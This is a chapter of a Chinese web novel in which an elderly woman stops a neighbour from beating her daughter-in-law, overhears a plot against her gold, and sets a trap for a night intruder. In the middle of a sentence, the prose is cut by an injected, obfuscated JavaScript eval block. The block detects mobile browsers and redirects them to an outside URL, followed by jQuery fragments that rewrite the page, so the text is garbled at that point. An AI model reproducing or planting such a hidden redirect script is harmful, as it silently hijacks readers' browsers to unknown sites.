50. 偷听
作品:《重生七零:恶老太改造计划》 王寡妇的半边脸瞬间又肿了一圈,嘴角都渗出血丝来。她捂着半边脸,浑身发抖,眼泪啪嗒啪嗒往下掉,却一声都不敢吭。
反倒是打人的赵寡妇张牙舞爪的叫骂起来,“你个不知道守家的破烂货,天天不是东家串,就是西家串,就没有着家的时候。”
说着,她又伸手在王寡妇的胳膊上使劲掐了几下,王寡妇疼的尖叫,想要躲,却躲不开。
林见清“啪”地把筷子往桌上一拍,站了起来。
“赵寡妇,你跑到我家门口打人,眼里还有没有我这个管院儿?”
赵寡妇被这一嗓子吼得一愣,随即脖子一梗,双手叉腰,嗓门比林见清还大:“林大妈,我管教我自己的儿媳妇,关你什么事?你管天管地,还管到别人家里去了?”
“你管教儿媳妇我管不着。”林见清走到门口,挡在王寡妇前面,冷冷地盯着赵寡妇,“但你跑到我家门口撒泼,我就得管。要打要骂,滚回你自己家去,别脏了我这块地!”
赵寡妇说不过林见清,就转头对儿媳妇发飙,又伸手在她胳膊上拧了几下,边拧边说:“听到吗?你要给人家送钱,人家都嫌你脏呢,你还舔着脸赖在这儿,别丢人现眼了,赶紧跟我回去。”
王寡妇知道自己回去肯定免不了要遭罪,下意识向林见清求救。
林见清才懒得管,她只想赶紧打发了她们,不想看着堵心,但是系统却发话了。
【她向你求救了,你就要给予帮助,劝阻赵寡妇,阻止她殴打儿媳妇。】
林见清紧抿着嘴,不想管这事儿,也不想和赵寡妇有任何牵扯。
前两天她孙子都摔成那样儿了,她为了等大家掏钱,硬生生拖着不带孙子去医院,可见是个狠角色。
求人的时候装的一副可怜样儿,现在不求人了,就一副天老大地老二她老三的牛逼样儿,这种人沾上就完!
但她不想归不想,该做的还是要做,因为这个老虔婆损失善意值,不值当!
她端起一副领导做派:“赵寡妇,我作为管院儿,有权利管制你殴打虐待儿媳妇,我希望你及时收手,否则我们妇联见!”
赵寡妇扯着王寡妇就要走,听见这话,本来还虚了一下,可是老婆婆管教儿媳妇,是天经地义的事,别说妇联了,就是王母娘娘亲临,也是这个理。
所以她丝毫不怵,“林大妈,你这就是咸吃萝卜操淡心,我家的事不用你插手,管好你自己得了!”
林见清呵呵一声,“你家的事不用我插手?那好啊,把我前几天给你的几十块钱还我,我的钱给你还不如烧了。”
一提到钱,赵寡妇立刻就急了,“什么钱?那是捐给我的,钱都捐给别人了,你咋还好意思要?”
林见清:“我的钱,我凭什么不好意思,你赶紧的,还钱。”
赵寡妇见林见清是动真格的,更急了。她往地上一坐,两条腿在地上蹬着,拍着大腿嚎起来:“哎呦喂,欺负人啊,我一个寡妇人家,拉扯个孩子容易吗,你们这是要把我往死里逼啊……”
她嚎得中气十足,嗓门又尖又利,在院子里传出去老远。几个邻居探头探脑地往这边看,却没人敢过来。
林见清低头看着她,“赵寡妇,你这套撒泼打滚的把戏,在我这儿不好使。”
她一把揪住赵寡妇的脖领子,咬着牙说,“你要是再在我面前打你儿媳妇,我就让你把那天晚上收到的钱全都给我吐出来,就像李柱一样。”
赵寡妇的嚎哭声戛然而止,她想钱到她手上了,就是她的,想让她吐出来,除非她死。但是被林见清死死瞪着,话到嗓子眼,硬是说不出来。
林见清不想再多看她一眼,淡淡说了一句“滚吧!”,
赵寡妇听到这话,松了一口气,爬起来就跑,她也不知道自己为什么要跑,反正就是想要立刻离开这里,离林见清远远的。
王寡妇张了张嘴,想说什么,又咽了回去,最后只轻声对林见清说:“谢谢!”
林见清摆摆手,继续回去吃饭。饭桌上静悄悄的,没有一个人说话,本来想宣布好消息的沈晓晖,这会儿也一言不发,打算换个好点儿的时机再宣布。
吃完了饭,她数了数自己现在的善意值,加上上次打蛇救艾兰的300善意值,她一共有405善意值。
这次帮助王寡妇,因为有了系统提醒,所以就只能获得1善意值,系统直接兑换成一毛二分钱,还不够买两窝头,简直可以忽略不计。
这么一对比,感觉经过系统提醒才做好事,被判为惩罚性贬值,很不划算啊!简直是吃大亏了!
林见清数完钱,就骑着自行车出了门。
虽然于大妞已经开始养鸡,但是还得等鸡适应新环境,再等它长到能下蛋。现在她想吃鸡蛋,还是得去买。
她骑着车,慢悠悠地拐过街角,余光一扫,忽然看到在一条巷子尽头,站着两个人。
一个是赵寡妇。
另一个,是个男人。
他们站的地方很偏僻,背对着巷子口,要不是林见清早上见过赵寡妇,还真认不出来。
这时两人的脑袋正凑在一块儿,嘀嘀咕咕的,不知道在说什么,关键是两人的手还牵在一起。
啧啧啧!
林见清心里咂摸了一下,反正这会儿也没什么急事儿,闲着也是闲着,她决定一探究竟。
于是她加了把劲儿,打算绕到巷子的另一边,隔着巷子尽头那堵两人高的围墙,听听这两人到底有什么奸情。
林见清呼哧带喘地到了地方,就听到了让她非常不爽的话。
“……林见清那个管院儿当得也太舒服了……”是赵寡妇的声音,带着股酸味儿。
“哼,这世上哪有舒服的事儿,也没有人能一直舒服。”
是那个男人的声音,但是这个声音怎么感觉很熟悉?林见清蹙眉想着。
“就是替你可惜,要不是因为那个该死的米老头,你也不会……唉,李柱也是个不争气的,连林见清都斗不过。”赵寡妇不屑地说。
原来是李东海啊,林见清拳头都攥紧了,感觉自己掌握了一个惊天大秘密。虽然很激动,但是她已悄悄屏住呼吸,高高竖起耳朵,想继续听听这对狗男女还能放出什么狗屁。
“这次他准备发力了,放心吧,肯定能让林见清吃个哑巴亏。”
“希望吧,你都不知道,今天早上她有多过分,我跟你说……我都要被她给吓死了,你帮我教训教训她,要不然我这心堵得慌。”
林见清在墙那边听着赵寡妇矫揉造作的声音,恶心的都要吐了,都五十来岁的老虔婆了,还夹着嗓子说话,关键是李东海也像是眼瞎耳聋似的,还心疼起来了。
还有,赵寡妇颠倒黑白的能力可真是够可以的。明明是她自己大早上在别人门口发癫,怎么从她嘴里说出来,就变成了别人把她打倒在地,还逼着她还钱?
“哪堵得慌,我给你揉揉……”李东海也骚哄哄的发情。
“哎呀~你别乱动,我跟你说认真的,你要帮我报仇,我见到她得意就烦,前两天你诓她五十多块钱就很厉害,要不咱们再来一次?”
“不了,这次李柱打算
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404272|197293||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玩个大的,不过他还没准备好。”
“还没准备好,那要准备到什么时候?我知道他是想算计林见清的金条,我觉得你们应该尽快行动,万一她把金条转移到外面了,那不就什么都捞不到了。”
“你说的也有理,那我一会儿去找李柱商量一下,尽量今天动手。”
“行,这种事儿还是越快越好,免得夜长梦多,咱们走吧。”
“我们俩都好几天没好好说话了,再待会儿吧。”
“下次吧,健健还在医院呢,这点时间我都是抽空跑出来的,下次咱们找个好地方再好好说说话,我也想着你呢。”
“哼,我看你心里只有那个短命鬼留下的种……”
赵寡妇又是好一番安慰,李东海才不情不愿地离开。
林见清听到他们走了,长长呼出一口气,用力抚了几下胸口,恶心的感觉才稍缓。
老么卡尺眼了,还不知羞臊,下贱!
算计她一次还不够,还想要再算计她,更贱中贱!
想到李东海说今天晚上就要动手,林见清骑上车,掉头就往回走,鸡蛋也不买了,先回家再说。
下午,三个儿子陆续下班回来。
林见清把他们都叫到自己房间,关上门。
“今天晚上,都警醒着点。”她压低声音,“李柱可能要动手了。”
三个人同时愣住了。
“妈,你怎么知道?”沈建国问。
林见清想到早上的事情,再次干哕,她不想再描述一遍,直接敷衍道:你别管我怎么知道的,反正这消息有八成的可能性是真的,你们今晚都别睡死,我屋里一有动静,你们就冲进来。”
沈建国点头:“行,我一会儿去找把铁锹,你放在床头,这样更保险点儿。”
林见清对他投去一个赞赏的目光,这小子总算干了回人事儿。
沈建国接到她的目光,挺了挺腰杆,朝其他两个兄弟得意一笑。
沈向学回了他一个白眼。
沈晓晖完全不在意他的小心思,全是“爷们儿要战斗”的兴奋,摩拳擦掌:“我等这一天等了老久了!”
林见清瞪了他一眼:“别瞎来。听我指挥。”
晚上,院子里安静下来。
各家各户的灯一盏一盏灭了,说话声也一点一点低下去,最后只剩虫子在墙根底下叫,一声一声的,听着让人犯困。
林见清躺在炕上,眼睛睁着,盯着头顶的蚊帐。灯早就灭了,屋里黑漆漆的,只有窗户透进来一点月光,散落在地上的栗子壳上。
一切准备就绪,就等人来。
她等了好久,外头一点动静都没有。困意一阵一阵往上涌,她掐了自己一把,强迫自己清醒。
就在她快要撑不住的时候,窗外忽然传来一声轻微的响动。
“咔。”
是窗户被推开的声音,很轻,但在深夜里听得清清楚楚。
林见清的心一下子提到了嗓子眼儿。她屏住呼吸,一动不动地躺着,眼睛盯着窗户。
看着一个人影从外面翻进来,动作不算利索,感觉像是个新手。
那人脚刚落地,“嘶……”
一声倒吸凉气的声音,带着压抑的痛呼,那人没站稳,身子一歪,差点摔倒。
“谁?!”林见清腾地坐起来,大喊一声。
那人慌了,转身就想往外跑,可根本来不及。
堂屋的门被一脚踹开,沈晓晖第一个冲进来,沈向学拎着擀面杖跟在后面,沈建国手里拿着手电筒,光柱直直地照在那人脸上。

